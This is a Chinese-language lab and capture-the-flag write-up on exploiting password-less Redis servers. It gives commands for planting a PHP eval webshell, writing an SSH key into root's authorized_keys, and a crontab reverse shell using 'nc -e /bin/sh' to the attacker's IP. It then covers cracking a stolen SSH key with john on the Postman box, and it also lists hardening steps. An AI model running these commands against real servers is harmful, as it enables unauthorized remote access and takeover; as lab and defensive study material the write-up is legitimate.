实验环境
centOS:192.168.49.16
Kali:192.168.49.129
安装过程参考https://blog.csdn.net/buyueliuying/article/details/82316517
centOS7:
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
tar -xavf redis-4.0.11.tar.gz
cd redis-4.0.11/
make PREFIX=/usr/local/redis install
make test
说明安装没有问题
把redis.conf复制到.usr/local/redis下面去
cp /redis-4.0.11/redis.conf /usr/local/redis
cd /usr/local/redis
修改一些配置
vim redis.conf
daemonize yes //后台方式启动
#bind 127.0.0.1 //这一行一定要注释掉 否则只允许本地访问
protected-mode no //关闭保护模式可以通过ip访问
保存退出
cd bin/
./redis-server ../redis.conf
运行启动
./redis-cli
Kali:
然后我们在kali机上也装上redis
然后启动客户端
./redis-cli –h192.168.49.16 -p 6379
nc也是可以的
到这 redis已经安装完成了
对redis的利用实际上都是写权限的利用,但是利用redis写文件的时候,会出现很多无关数据导致文件无法正常读取,getshell失败,如下crontab_getshell就失败了。
推荐使用RedisWriteFile,可以简化写文件的操作,而且文件无损。
https://github.com/r35tart/RedisWriteFile
通过crontab反弹shell
kali上操作
Centos查看
以下为原答案
当redis没有设置密码或者弱密码,有三种常规姿势获取shell
redis写一个webshell
flushall //清空数据库
set 1 ‘<?php eval($_GET["123"]);?>’ //一句话写入数据库
config set dir /var/www/html //数据库文件保存在web目录下
config set dbfilename shell.php //数据库文件命名为.php
save
去centOS下查看,发现这段php已经嵌入了
然后去访问发现,php已经被解析了
redis写rsa秘钥
首先自己本地生成一个空密码的rsa秘钥对
ssh-keygen -t rsa
然后把公钥输入到redis的数据库里
(echo -e "\n\n" ;cat id_rsa.pub;echo -e "\n\n" )>temp.txt
cat temp.txt |/usr/local/redis/bin/redis-cli -h 192.168.49.16 -x set rsa
然后再登陆上redis修改存储redis的存储位置
./redis-cli -h 192.168.49.16 -p 6379
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
ssh 192.168.49.16
通过crontab反弹shell(测试失败)
crontab是linux上的自动执行任务
通过修改crontab可以执行系统命令
set 1 '\n\n*/1 * * * * nc -e /bin/sh 192.168.49.129 9001\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
但是在另一边shell迟迟没有弹过来
后来我去看了crontab的日志
意思是格式错误
这是我通过redis插进去的payload,无关数据太多,crontab无法执行 复现失败
但是我看到上网师傅们的博客有复现成功的,哪里出了问题还请多多指点
防护加固手段
1.修改conf文件,禁止使用高危命令
2.修改conf文件,重命名高危命令
3.以低权限运行redis(root权限运行风险太大)
4.登录redis设置验证密码
5.禁止外网访问(设置conf文件里的bind)
6. authorized_keys设置为400,加chattr ,.ssh/文件夹也加chattr
可以利用msf中现有的RCE漏洞攻击模块
如果是以root权限启动的redis那获取的直接是root权限
在postman10.10.10.160这台机器中,
通过nmap已经扫描到了6379 redis端口,尝试提权
看到是4.X版本,本以为一个RCE就结束了,但是多次尝试均失败
然后用客户端连接 空口令直接连上了
这里用到了修改ssh秘钥
先查看一下dir 和 dbfilename
dir已经是.ssh目录了,dbfilename还需要改一下
然后把我们已经生成好的秘钥输入进去,然后save
然后就可以连上了
redis没有权限进入Matt目录
尝试提权
在.bash_history里发现了一个私钥的备份
我们尝试用ssh直接连接Matt,但是连接失败
但是有了私钥可以直接破解密码
python3 /usr/share/john/ssh2john.py id_rsa.bak >Matt.txt
john --wordlist=Wordlist/rockyou.txt Matt.txt